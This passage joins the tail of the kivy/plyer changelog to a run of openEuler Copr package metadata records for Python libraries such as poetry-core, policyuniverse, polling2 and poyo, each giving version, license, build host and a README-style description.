  - iOS Battery [\#86](https://github.com/kivy/plyer/pull/86) ([trivedigaurav](https://github.com/trivedigaurav))
  - Change connected to isCharging [\#85](https://github.com/kivy/plyer/pull/85) ([trivedigaurav](https://github.com/trivedigaurav))
  - Return None until sensor data is available [\#82](https://github.com/kivy/plyer/pull/82) ([trivedigaurav](https://github.com/trivedigaurav))
  - Update compass.py [\#80](https://github.com/kivy/plyer/pull/80) ([ChrisCole42](https://github.com/ChrisCole42))
  - Use whereis\_exe to check for binaries [\#79](https://github.com/kivy/plyer/pull/79) ([trivedigaurav](https://github.com/trivedigaurav))
  - Update compass.py [\#77](https://github.com/kivy/plyer/pull/77) ([ChrisCole42](https://github.com/ChrisCole42))
  - Maintenance [\#75](https://github.com/kivy/plyer/pull/75) ([trivedigaurav](https://github.com/trivedigaurav))
  - facade docstring revision [\#74](https://github.com/kivy/plyer/pull/74) ([dessant](https://github.com/dessant))
  - Query Battery info/status [\#73](https://github.com/kivy/plyer/pull/73) ([trivedigaurav](https://github.com/trivedigaurav))
  - Revert "Activity was imported twice" [\#71](https://github.com/kivy/plyer/pull/71) ([trivedigaurav](https://github.com/trivedigaurav))
  - Fix tabbing [\#70](https://github.com/kivy/plyer/pull/70) ([trivedigaurav](https://github.com/trivedigaurav))
  - Gyroscope facade proxy declarations [\#69](https://github.com/kivy/plyer/pull/69) ([trivedigaurav](https://github.com/trivedigaurav))
  - Linux accelerometer facade [\#68](https://github.com/kivy/plyer/pull/68) ([trivedigaurav](https://github.com/trivedigaurav))
  - Update README.rst [\#67](https://github.com/kivy/plyer/pull/67) ([trivedigaurav](https://github.com/trivedigaurav))


  **Implemented enhancements:**

  - Feature Request: Add adjustable timeout option to Windows notification [\#13](https://github.com/kivy/plyer/issues/13)
  - Changes notify to use ctypes instead of win32gui so we could use unicode. [\#18](https://github.com/kivy/plyer/pull/18) ([matham](https://github.com/matham))
  - User-specified icon support for Windows notifications [\#11](https://github.com/kivy/plyer/pull/11) ([brousch](https://github.com/brousch))
  - Added Vibrator facade and android implementation [\#6](https://github.com/kivy/plyer/pull/6) ([inclement](https://github.com/inclement))

  **Closed issues:**

  - GPS example crashes [\#40](https://github.com/kivy/plyer/issues/40)
  - TextToSpeech Example App [\#20](https://github.com/kivy/plyer/issues/20)
  - Accelerometer Example App [\#19](https://github.com/kivy/plyer/issues/19)

  **Merged pull requests:**

  - Plyer Unique ID facade [\#66](https://github.com/kivy/plyer/pull/66) ([trivedigaurav](https://github.com/trivedigaurav))
  - Switched to pyjnius [\#63](https://github.com/kivy/plyer/pull/63) ([trivedigaurav](https://github.com/trivedigaurav))
  - Update README [\#62](https://github.com/kivy/plyer/pull/62) ([trivedigaurav](https://github.com/trivedigaurav))
  - Gyroscope Facades [\#60](https://github.com/kivy/plyer/pull/60) ([trivedigaurav](https://github.com/trivedigaurav))
  - Ios compass [\#59](https://github.com/kivy/plyer/pull/59) ([trivedigaurav](https://github.com/trivedigaurav))
  - Plyer compass facade [\#57](https://github.com/kivy/plyer/pull/57) ([trivedigaurav](https://github.com/trivedigaurav))
  - Update README [\#56](https://github.com/kivy/plyer/pull/56) ([trivedigaurav](https://github.com/trivedigaurav))
  - Using sudden motion sensor as accelerometer on OSX [\#55](https://github.com/kivy/plyer/pull/55) ([trivedigaurav](https://github.com/trivedigaurav))
  - Added sms facade, example and android implementation [\#52](https://github.com/kivy/plyer/pull/52) ([mihaineacsu](https://github.com/mihaineacsu))
  - add Mac OS X email support [\#49](https://github.com/kivy/plyer/pull/49) ([Depaulicious](https://github.com/Depaulicious))
  - add Windows email support [\#48](https://github.com/kivy/plyer/pull/48) ([Depaulicious](https://github.com/Depaulicious))
  - added Linux email support [\#47](https://github.com/kivy/plyer/pull/47) ([Depaulicious](https://github.com/Depaulicious))
  - Add compat module, remove decoding of strings in notification [\#46](https://github.com/kivy/plyer/pull/46) ([matham](https://github.com/matham))
  - Created an accelerometer example. Uses garden graph to plot the values [\#39](https://github.com/kivy/plyer/pull/39) ([trivedigaurav](https://github.com/trivedigaurav))
  - Shows an error popup if there is no TTS [\#38](https://github.com/kivy/plyer/pull/38) ([trivedigaurav](https://github.com/trivedigaurav))
  - Text to Speech Example [\#37](https://github.com/kivy/plyer/pull/37) ([trivedigaurav](https://github.com/trivedigaurav))
  - readme typo corrected [\#15](https://github.com/kivy/plyer/pull/15) ([ghost](https://github.com/ghost))
  - Introduce dbus notification [\#10](https://github.com/kivy/plyer/pull/10) ([akshayaurora](https://github.com/akshayaurora))
  - Added an email facade and basic android implementation [\#5](https://github.com/kivy/plyer/pull/5) ([inclement](https://github.com/inclement))
  - Tts [\#1](https://github.com/kivy/plyer/pull/1) ([brousch](https://github.com/brousch))



  \* *This Change Log was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)*


pkgId: 9905f3a55bff981f2fbb422307ac1f13052a769c7a3f9bd4c1915865ac60b012
name: python-pocketsphinx
arch: src
version: 5.0.0
epoch: 0
release: 1
summary: Official Python bindings for PocketSphinx
url: https://github.com/cmusphinx/pocketsphinx
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d42fe88d-96d5-4817-bf0a-29182f0bcfe5
location_href: 00004573-python-pocketsphinx/python-pocketsphinx-5.0.0-1.src.rpm
checksum_type: sha256
description:
  This is PocketSphinx, one of Carnegie Mellon University's open source large
  vocabulary, speaker-independent continuous speech recognition engines.
  Although this was at one point a research system, active development
  has largely ceased and it has become very, very far from the state of
  the art.  I am making a release, because people are nonetheless using
  it, and there are a number of historical errors in the build system
  and API which needed to be corrected.
  The version number is strangely large because there was a "release"
  that people are using called 5prealpha, and we will use proper
  [semantic versioning](https://semver.org/) from now on.
  **Please see the LICENSE file for terms of use.**


pkgId: a495bfedd880fd9bdc81eb970cf36787429ff756fee3cbb2bb71a2ec360e4e6b
name: python-podcastparser
arch: src
version: 0.6.9
epoch: 0
release: 1
summary: Simplified, fast RSS parser
url: http://gpodder.org/podcastparser/
rpm_license: ISC License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6febf985-b20e-419c-ab4e-68022b3782a4
location_href: 00004574-python-podcastparser/python-podcastparser-0.6.9-1.src.rpm
checksum_type: sha256
description:
  The podcast parser project is a library from the gPodder project to provide an
  easy and reliable way of parsing RSS- and Atom-based podcast feeds in Python.
  See docs in [./doc](./doc) or at [Read the Docs](https://podcastparser.readthedocs.io/en/latest/).

  To run the unit tests you need [`pytest`](https://docs.pytest.org/).  If you have `pytest` installed, use the `pytest` command in the repository's root directory to run the tests.

  To release, update the version number in podcastparser.py, commit and push.
  Then create an (annotated) tag and push it.
  The GitHub action will publish on pypi.


pkgId: 1391848d8ea7f55b5f8d2a079119de0302aafa931404e9c7d348cd14d3c2fcd2
name: python-poetry-core
arch: src
version: 1.5.1
epoch: 0
release: 1
summary: Poetry PEP 517 Build Backend
url: https://github.com/python-poetry/poetry-core
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fe3dbf17-aa55-4726-bb38-3d737afaeae7
location_href: 00004577-python-poetry-core/python-poetry-core-1.5.1-1.src.rpm
checksum_type: sha256
description:
  [![PyPI version](https://img.shields.io/pypi/v/poetry-core)](https://pypi.org/project/poetry-core/)
  [![Python Versions](https://img.shields.io/pypi/pyversions/poetry-core)](https://pypi.org/project/poetry-core/)
  [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
  [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
  [![](https://github.com/python-poetry/poetry-core/workflows/Tests/badge.svg)](https://github.com/python-poetry/poetry-core/actions?query=workflow%3ATests)

  A [PEP 517](https://www.python.org/dev/peps/pep-0517/) build backend implementation developed for
  [Poetry](https://github.com/python-poetry/poetry). This project is intended to be a light weight, fully compliant,
  self-contained package allowing PEP 517 compatible build frontends to build Poetry managed projects.


  In most cases, the usage of this package is transparent to the end-user as it is either made use by Poetry itself
  or a PEP 517 frontend (eg: `pip`).

  In order to enable the use `poetry-core` as your build backend, the following snippet must be present in your
  project's `pyproject.toml` file.

  ```toml
  [build-system]
  requires = ["poetry-core"]
  build-backend = "poetry.core.masonry.api"
  ```

  Once this is present, a PEP 517 frontend like `pip` can build and install your project from source without the need
  for Poetry or any of its dependencies.

  ```shell

  pip install /path/to/poetry/managed/project


  pip wheel /path/to/poetry/managed/project
  ```


  Prior to the release of version `1.1.0`, Poetry was a project management tool that included a PEP 517
  build backend. This was inefficient and time consuming when a PEP 517 build was required. For example,
  both `pip` and `tox` (with isolated builds) would install Poetry and all dependencies it required. Most of these
  dependencies are not required when the objective is to simply build either a source or binary distribution of your
  project.

  In order to improve the above situation, `poetry-core` was created. Shared functionality pertaining to PEP 517 build
  backends, including reading lock file, `pyproject.toml` and building wheel/sdist, were implemented in this package. This
  makes PEP 517 builds extremely fast for Poetry managed packages.


pkgId: d4370f3253e4b65c72eed41f7b0b53e09e445cccd87d830a7cfced3394eedbf1
name: python-poetry-version
arch: src
version: 0.2.0
epoch: 0
release: 1
summary: Python library for extracting version from poetry pyproject.toml file (deprecated)
url: https://github.com/rominf/poetry-version
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-698facfb-3697-49a2-a9ad-11d5785aaf8a
location_href: 00013166-python-poetry-version/python-poetry-version-0.2.0-1.src.rpm
checksum_type: sha256
description:
  Now there is a better way to extract the version of the package.

  Assuming your package is named `mypackage`:
  ```python
  import importlib.metadata

  __version__ = importlib.metadata.version("mypackage")
  ```

  This code should work as is if you are using Python >= 3.8.

  For Python 3.6 and 3.7 you need to install a backport: https://pypi.org/project/importlib-metadata/


pkgId: 13935d1b8d12861c6d50cb74bd0da4147f1e264399801bf5ae22878e49c063c0
name: python-policyuniverse
arch: src
version: 1.5.0.20220613
epoch: 0
release: 1
summary: Parse and Process AWS IAM Policies, Statements, ARNs, and wildcards.
url: https://github.com/Netflix-Skunkworks/policyuniverse
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-49042ac7-81d2-4fc2-89dd-08f3e7546536
location_href: 00004578-python-policyuniverse/python-policyuniverse-1.5.0.20220613-1.src.rpm
checksum_type: sha256
description:
  [![Version](http://img.shields.io/pypi/v/policyuniverse.svg?style=flat)](https://pypi.python.org/pypi/policyuniverse/)

  [![Build Status](https://github.com/Netflix-Skunkworks/policyuniverse/workflows/Python%20package/badge.svg)](https://github.com/Netflix-Skunkworks/policyuniverse/actions)

  [![Updater Status](https://github.com/Netflix-Skunkworks/policyuniverse/actions/workflows/updater.yml/badge.svg)](https://github.com/Netflix-Skunkworks/policyuniverse/actions/workflows/updater.yml)

  [![Coverage Status](https://coveralls.io/repos/github/Netflix-Skunkworks/policyuniverse/badge.svg?branch=master&1)](https://coveralls.io/github/Netflix-Skunkworks/policyuniverse?branch=master)

  [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/python/black)

  This package provides classes to parse AWS IAM and Resource Policies.

  Additionally, this package can expand wildcards in AWS Policies using permissions obtained from the AWS Policy Generator.

  See the [Service and Permissions data](policyuniverse/data.json).

  _This package can also minify an AWS policy to help you stay under policy size limits. Avoid doing this if possible, as it creates ugly policies._ 💩



  `pip install policyuniverse`



  - [ARN class](#reading-arns)
  - [Policy class](#iam-and-resource-policies)
  - [Statement class](#statements)
  - [Action Categories](#action-categories)
  - [Expanding and Minification](#expanding-and-minification)



  ```python
  from policyuniverse.arn import ARN
  arn = ARN('arn:aws:iam::012345678910:role/SomeTestRoleForTesting')
  assert arn.error == False
  assert arn.tech == 'iam'
  assert arn.region == ''  # IAM is universal/global
  assert arn.account_number == '012345678910'
  assert arn.name == 'role/SomeTestRoleForTesting'
  assert arn.partition == 'aws'
  assert arn.root == False  # Not the root ARN
  assert arn.service == False  # Not an AWS service like lambda.amazonaws.com

  arn = ARN('012345678910')
  assert arn.account_number == '012345678910'

  arn = ARN('lambda.amazonaws.com')
  assert arn.service == True
  assert arn.tech == 'lambda'
  ```




  ```python

  policy05 = dict(
      Version='2010-08-14',
      Statement=[
          dict(
              Effect='Allow',
              Principal='arn:aws:iam::012345678910:root',
              Action=['s3:*'],
              Resource='*',
              Condition={
                  'IpAddress': {
                      'AWS:SourceIP': ['0.0.0.0/0']
                  }}),
          dict(
              Effect='Allow',
              Principal='arn:aws:iam::*:role/Hello',
              Action=['ec2:*'],
              Resource='*',
              Condition={
                  'StringLike': {
                      'AWS:SourceOwner': '012345678910'
                  }})
          ])

  from policyuniverse.policy import Policy
  from policyuniverse.statement import ConditionTuple, PrincipalTuple

  policy = Policy(policy05)
  assert policy.whos_allowed() == set([
      PrincipalTuple(category='principal', value='arn:aws:iam::*:role/Hello'),
      PrincipalTuple(category='principal', value='arn:aws:iam::012345678910:root'),
      ConditionTuple(category='cidr', value='0.0.0.0/0'),
      ConditionTuple(category='account', value='012345678910')
  ])




  assert policy.is_internet_accessible() == False
  ```



  ```python

  policy01 = dict(
      Version='2012-10-08',
      Statement=dict(
          Effect='Allow',
          Principal='*',
          Action=['rds:*'],
          Resource='*',
          Condition={
              'IpAddress': {
                  'AWS:SourceIP': ['0.0.0.0/0']
              }
          }))

  policy = Policy(policy01)
  assert policy.is_internet_accessible() == True
  assert policy.internet_accessible_actions() == set(['rds:*'])
  ```



  A policy is simply a collection of statements.

  ```python
  statement12 = dict(
      Effect='Allow',
      Principal='*',
      Action=['rds:*'],
      Resource='*',
      Condition={
          'StringEquals': {
              'AWS:SourceVPC': 'vpc-111111',
              'AWS:Sourcevpce': 'vpce-111111',
              'AWS:SourceOwner': '012345678910',
              'AWS:SourceAccount': '012345678910'
          },
          'StringLike': {
              'AWS:userid': 'AROAI1111111111111111:*'
          },
          'ARNLike': {
              'AWS:SourceArn': 'arn:aws:iam::012345678910:role/Admin'
          },
          'IpAddressIfExists': {
              'AWS:SourceIP': [
                  '123.45.67.89',
                  '10.0.7.0/24',
                  '172.16.0.0/16']
          }
      })

  from policyuniverse.statement import Statement
  from policyuniverse.statement import ConditionTuple, PrincipalTuple

  statement = Statement(statement12)
  assert statement.effect == 'Allow'
  assert statement.actions == set(['rds:*'])


  assert len(statement.actions_expanded) == 88

  assert statement.uses_not_principal() == False
  assert statement.principals == set(['*'])
  assert statement.condition_arns == set(['arn:aws:iam::012345678910:role/Admin'])
  assert statement.condition_accounts == set(['012345678910'])
  assert statement.condition_userids == set(['AROAI1111111111111111:*'])
  assert statement.condition_cidrs == set(['10.0.7.0/24', '172.16.0.0/16', '123.45.67.89'])
  assert statement.condition_vpcs == set(['vpc-111111'])
  assert statement.condition_vpces == set(['vpce-111111'])
  assert statement.is_internet_accessible() == False
  assert statement.whos_allowed() == set([
      PrincipalTuple(category='principal', value='*'),
      ConditionTuple(category='cidr', value='123.45.67.89'),
      ConditionTuple(category='account', value='012345678910'),
      ConditionTuple(category='userid', value='AROAI1111111111111111:*'),
      ConditionTuple(category='vpc', value='vpc-111111'),
      ConditionTuple(category='arn', value='arn:aws:iam::012345678910:role/Admin'),
      ConditionTuple(category='cidr', value='172.16.0.0/16'),
      ConditionTuple(category='vpce', value='vpce-111111'),
      ConditionTuple(category='cidr', value='10.0.7.0/24')])

  ```



  ```python
  policy = {
          "Statement": [{
              "Action": ["s3:put*", "sqs:get*", "sns:*"],
              "Resource": "*",
              "Effect": "Allow"
            }]
        }

  from policyuniverse.policy import Policy
  p = Policy(policy)
  for k, v in p.action_summary().items():
      print(k,v)
  >>> ('s3', set([u'Write', u'Permissions', u'Tagging']))
  >>> ('sqs', set([u'List']))
  >>> ('sns', set([u'List', u'Read', u'Write', u'Permissions']))
  ```
  Possible categories are `Permissions`, `Write`, `Read`, `Tagging`, and `List`.  This data can be used to summarize statements and policies and to look for sensitive permissions.


  ```python
  from policyuniverse.expander_minimizer import expand_policy
  from policyuniverse.expander_minimizer import minimize_policy

  policy = {
          "Statement": [{
              "Action": ["swf:res*"],
              "Resource": "*",
              "Effect": "Allow"
            }]
        }

  expanded_policy = expand_policy(policy=policy)
  >>> Start size: 131. End size: 286
  print(expanded_policy == {
          "Statement": [{
              "Action": [
                "swf:respondactivitytaskcanceled",
                "swf:respondactivitytaskcompleted",
                "swf:respondactivitytaskfailed",
                "swf:responddecisiontaskcompleted"
              ],
              "Resource": "*",
              "Effect": "Allow"
            }]
        })
  >>> True

  minimized_policy = minimize_policy(policy=expanded_policy, minchars=3)
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Start size: 286. End size: 131

  print(minimized_policy == policy)
  >>> True
  ```


pkgId: ed6177b0edc742df09b448bfd35598ef5f123208c0671647f8f6d93266f85242
name: python-polling2
arch: src
version: 0.5.0
epoch: 0
release: 1
summary: Updated polling utility with many configurable options
url: http://github.com/ddmee/polling2
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-10200102-55a3-49be-a52f-55defafd8c85
location_href: 00011210-python-polling2/python-polling2-0.5.0-1.src.rpm
checksum_type: sha256
description:
  [![Build Status](https://travis-ci.com/ddmee/polling2.svg?branch=master)](https://travis-ci.org/ddmee/polling2)
  [![PyPI](https://img.shields.io/pypi/dm/polling2.svg)]()
  [![PyPI](https://img.shields.io/pypi/v/polling2.svg)]()



  _Never write another polling function again!_

  Documentation available at [Read the Docs](https://polling2.readthedocs.io)

  You can install the package from [Pypi](https://pypi.org/project/polling2/)

  Polling2 is a powerful python utility used to wait for a function to return a certain expected condition.

  Some possible uses cases include:

  - Wait for API response to return with code 200
  - Wait for a file to exist (or not exist)
  - Wait for a thread lock on a resource to expire

  Polling2 is handy for getting rid of all that duplicated polling-code. Often, applications require retrying until the correct response is returned. Why re-implement the ability to poll again and again? Use Polling2!

  Polling2 is a fork of the original [polling](https://github.com/justiniso/polling). It was forked when the original maintainer failed to respond to issues or PRs.

  Polling2 is _under active development_. Would you like to see a particular feature? Ask and thou shall recieve.



  ```
  pip install polling2
  ```



  ```shell

  python setup.py develop

  python setup.py test

  pytest tests
  ```



  ```python

  file_handle = polling2.poll(
      lambda: open('/tmp/myfile.txt'),
      ignore_exceptions=(IOError,),
      timeout=3,
      step=0.1)


  file_handle.close()
  ```

  There are [more examples](https://polling2.readthedocs.io/en/latest/examples) in the documentation.



  [![Read the Docs](https://raw.githubusercontent.com/ddmee/polling2/master/ext/read_the_docs.png)](https://polling2.readthedocs.io)


pkgId: 8fd77ec74f473180a7d3822b77b7a49ba27012f15317dfbfd059caaab7eab25a
name: python-polyglot
arch: src
version: 16.7.4
epoch: 0
release: 1
summary: Polyglot is a natural language pipeline that supports massive multilingual applications.
url: https://github.com/aboSamoor/polyglot
rpm_license: GPLv3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-531c42f7-0488-4dec-8974-6c72a28ca579
location_href: 00012046-python-polyglot/python-polyglot-16.7.4-1.src.rpm
checksum_type: sha256
description:
  |Downloads| |Latest Version| |Build Status| |Documentation Status|
  Polyglot is a natural language pipeline that supports massive
  multilingual applications.
  -  Free software: GPLv3 license
  -  Documentation: http://polyglot.readthedocs.org.
  -  GitHub: https://github.com/aboSamoor/polyglot
  Features
  ~~~~~~~~
  -  Tokenization (165 Languages)
  -  Language detection (196 Languages)
  -  Named Entity Recognition (40 Languages)
  -  Part of Speech Tagging (16 Languages)
  -  Sentiment Analysis (136 Languages)
  -  Word Embeddings (137 Languages)
  -  Morphological analysis (135 Languages)
  -  Transliteration (69 Languages)
  Developer
  ~~~~~~~~~
  -  Rami Al-Rfou @ ``rmyeid gmail com``


pkgId: 924afac26aa3fa8dfe85a436f7c0ede455f3d0b21d723d5b0a3137aa2455ffb9
name: python-poppler-utils
arch: src
version: 0.1.0
epoch: 0
release: 1
url: https://github.com/vinayak-mehta/poppler-utils
rpm_license: GPL-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-938ecc18-e7ec-4857-9d54-ef7f79c1f505
location_href: 00013345-python-poppler-utils/python-poppler-utils-0.1.0-1.src.rpm
checksum_type: sha256
summary:
  Precompiled command-line utilities (based on Poppler) for manipulating PDF files and converting them to other formats.

description:
  Precompiled command-line utilities (based on Poppler) for manipulating PDF files and converting them to other formats.


pkgId: efc26aca1a857ec1fbe1490070b11a2e014092351e5942e2149755de3496ffb7
name: python-portalocker
arch: src
version: 2.7.0
epoch: 0
release: 1
summary: Wraps the portalocker recipe for easy usage
url: https://github.com/WoLpH/portalocker
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-88b25a38-4d9a-4dc2-9e32-d841385cad14
location_href: 00009015-python-portalocker/python-portalocker-2.7.0-1.src.rpm
checksum_type: sha256
description:
  Portalocker is a library to provide an easy API to file locking.
  An important detail to note is that on Linux and Unix systems the locks are
  advisory by default. By specifying the `-o mand` option to the mount command it
  is possible to enable mandatory file locking on Linux. This is generally not
  recommended however. For more information about the subject:
   - https://en.wikipedia.org/wiki/File_locking
   - http://stackoverflow.com/questions/39292051/portalocker-does-not-seem-to-lock
   - https://stackoverflow.com/questions/12062466/mandatory-file-lock-on-linux
  The module is currently maintained by Rick van Hattem <Wolph@wol.ph>.
  The project resides at https://github.com/WoLpH/portalocker . Bugs and feature
  requests can be submitted there. Patches are also very welcome.


pkgId: dc20de0f7cf909ec2cd2a80039f7c8c46323ac68043154d382787716ee467a36
name: python-posix-ipc
arch: src
version: 1.1.1
epoch: 0
release: 1
summary: POSIX IPC primitives (semaphores, shared memory and message queues) for Python
url: https://github.com/osvenskan/posix_ipc
rpm_license: http://creativecommons.org/licenses/BSD/
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ace0411e-02cc-40d2-a8e8-72e6f8ec1fc3
location_href: 00004582-python-posix_ipc/python-posix-ipc-1.1.1-1.src.rpm
checksum_type: sha256
description:
  `posix_ipc` is a Python module (written in C) that permits creation and manipulation of POSIX inter-process semaphores, shared memory and message queues on platforms supporting the POSIX Realtime Extensions a.k.a. POSIX 1003.1b-1993. This includes nearly all Unices and Windows + Cygwin ≥ 1.7.

  `posix_ipc` is compatible with all supported versions of Python 3.

  **For complete documentation, see [the usage notes](USAGE.md).**



  Version 1.0.5 was the last version of `posix_ipc` to support both Python 2.7 and Python 3.x. Starting with version 1.1.0, only Python ≥ 3.6 is supported. No changes (neither fixes nor features) will be backported to 1.0.5.



  `posix_ipc` is available on PyPI:

  	pip install posix-ipc

  Or you can clone the project and install it using `setup.py`:

  	python setup.py install



  `posix_ipc` is free software (free as in speech and free as in beer) released under a 3-clause BSD license. Complete licensing information is available in [the LICENSE file](LICENSE).



  You might also be interested in the similar System V IPC module: https://github.com/osvenskan/sysv_ipc


pkgId: 7c4100db35550e300b89b4e0b3e77c66d49c543e59d43c4cc25b82ff85b6b930
name: python-postal-address
arch: src
version: 22.4.22.1
epoch: 0
release: 1
summary: Parse, normalize and render postal addresses.
url: https://github.com/Scaleway/postal-address
rpm_license: BSD-2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4c7dd5a0-73c4-4ba0-9f9e-0f4c096919f3
location_href: 00010837-python-postal-address/python-postal-address-22.4.22.1-1.src.rpm
checksum_type: sha256
description:
  Python module to parse, normalize and render postal addresses.
  Stable release: |release| |versions| |license|
  Development: |docs| |coverage| |quality|


pkgId: ba696a0356bf16878a9d3a373b200af1319616109b53b0faa14e44c1d2807e4a
name: python-postgres
arch: src
version: 4.0
epoch: 0
release: 1
summary: postgres is a high-value abstraction over psycopg2.
url: https://github.com/liberapay/postgres.py
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1cde1b01-803a-4cf2-9b5c-de6f5181f546
location_href: 00012434-python-postgres/python-postgres-4.0-1.src.rpm
checksum_type: sha256
description:
  postgres is a high-value abstraction over psycopg2

  [Read the Docs](https://postgres-py.readthedocs.org)


pkgId: 64cba969bc8fd200a57ceb128d7f92cb952f7f2b3edec2df97a113b93d4a44ca
name: python-postmarker
arch: src
version: 1.0
epoch: 0
release: 1
summary: Python client library for Postmark API
url: https://github.com/Stranger6667/postmarker
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f0c07bda-42a1-48fb-8729-c9eb80a1f987
location_href: 00013440-python-postmarker/python-postmarker-1.0-1.src.rpm
checksum_type: sha256
description:
  |Build| |Coverage| |Version| |Python versions| |Docs| |Chat| |License|
  Python client library for `Postmark API <http://developer.postmarkapp.com/developer-api-overview.html>`_.
  **Gitter**: https://gitter.im/Stranger6667/postmarker


pkgId: aac38f30250b9476bc4ea009d23905fd8b4ea02b27246967c8f351bc318bc07a
name: python-power
arch: src
version: 1.4
epoch: 0
release: 1
summary: Cross-platform system power status information.
url: https://github.com/Kentzo/Power
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d5cad787-26c2-40ab-8c96-9e06f45e9dcf
location_href: 00004584-python-power/python-power-1.4-1.src.rpm
checksum_type: sha256
description:
  Library that allows you get current power source type (AC, Battery or UPS), warning level (none, <22%, <10min) and remaining minutes. You can also observe changes of power source and remaining time.


pkgId: bbefca5692675ccedd5c0b9d50817bb402de0df313dd5b31b4136509b3409179
name: python-poyo
arch: src
version: 0.5.0
epoch: 0
release: 1
summary: A lightweight YAML Parser for Python. 🐓
url: https://github.com/hackebrot/poyo
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d7fa73c2-fb43-42f3-8cd6-77bc8acee0e2
location_href: 00004585-python-poyo/python-poyo-0.5.0-1.src.rpm
checksum_type: sha256
description:
  default_context: # foobar
      greeting: こんにちは
      email: "raphael@hackebrot.de"
      docs: true
      gui: FALSE
      123: 456.789
      
      
      'some:int': 1000000
      foo: "hallo #welt" #Inline comment :)
      longtext: >
          This is a multiline string.
          It can contain all manners of characters.
          Single line breaks are ignored,
          but blank linkes cause line breaks.
      trueish: Falseeeeeee
      blog   : raphael.codes
      relative-root: /          # web app root path (default: '')
      lektor: 0.0.0.0:5000      # local build
      doc_tools:
          
          -    mkdocs
          - 'sphinx'
          - null
      
  zZz: True
  NullValue: Null


  Hello World:
      
      null: This is madness   # yo
      gh: https://github.com/{0}.git
  "Yay #python": Cool!
  ```

  ```python
  {
      u"default_context": {
          u"greeting": u"こんにちは",
          u"email": u"raphael@hackebrot.de",
          u"docs": True,
          u"gui": False,
          u"lektor": "0.0.0.0:5000",
          u"relative-root": "/",
          123: 456.789,
          u"some:int": 1000000,
          u"foo": u"hallo #welt",
          u"longtext": (
              u"This is a multiline string. It can contain all "
              u"manners of characters.\nSingle line breaks are "
              u"ignored, but blank linkes cause line breaks.\n"
          ),
          u"trueish": u"Falseeeeeee",
          u"blog": u"raphael.codes",
          u"doc_tools": [u"mkdocs", u"sphinx", None],
      },
      u"zZz": True,
      u"NullValue": None,
      u"Hello World": {
          None: u"This is madness",
          u"gh": u"https://github.com/{0}.git",
      },
      u"Yay #python": u"Cool!",
  }
  ```

  poyo follows the recommendations for [logging in a library][logging], which
  means it does not configure logging itself. Its root logger is named ``poyo``
  and the names of all its children loggers track the package/module hierarchy.
  poyo logs to a ``NullHandler`` and solely on ``DEBUG`` level.
  If your application configures logging and allows debug messages to be shown,
  you will see logging when using poyo. The log messages indicate which parser
  method is used for a given string as the parser deseralizes the config. You
  can remove all logging from poyo in your application by setting the log level
  of the ``poyo`` logger to a value higher than ``DEBUG``.
  [logging]: https://docs.python.org/3/howto/logging.html#configuring-logging-for-a-library

  ```python
  import logging
  logging.getLogger("poyo").setLevel(logging.WARNING)
  ```

  ```python
  import logging
  from poyo import parse_string
  logging.basicConfig(level=logging.DEBUG)


pkgId: cb165596f01130ab688c57126d25b5ba4a9b6c3476f2c1eab67529de3b03f844
name: python-pplpy
arch: src
version: 0.8.7
epoch: 0
release: 1
summary: Python PPL wrapper
url: https://gitlab.com/videlec/pplpy
rpm_license: GPL v3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0360d4b9-98c0-4ac4-89f7-b3f165c9a980
location_href: 00004586-python-pplpy/python-pplpy-0.8.7-1.src.rpm
checksum_type: sha256
description:
  This Python package provides a wrapper to the C++ `Parma Polyhedra Library
  (PPL) <http://bugseng.com/products/ppl/>`_.
  The whole package started as a fork of a tiny part of the `Sage
  <http://sagemath.org>`_ software.


pkgId: 74d9b2dbf4c5622858c5445436627d3750eb43e015888591cdb8b8fcc1744d0b
name: python-pproxy
arch: src
version: 2.7.8
epoch: 0
release: 1
summary: Proxy server that can tunnel among remote servers by regex rules.
url: https://github.com/qwj/python-proxy
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9f2b9300-4383-4681-989e-2b6ddabc1409
location_href: 00013465-python-pproxy/python-pproxy-2.7.8-1.src.rpm
checksum_type: sha256
description:
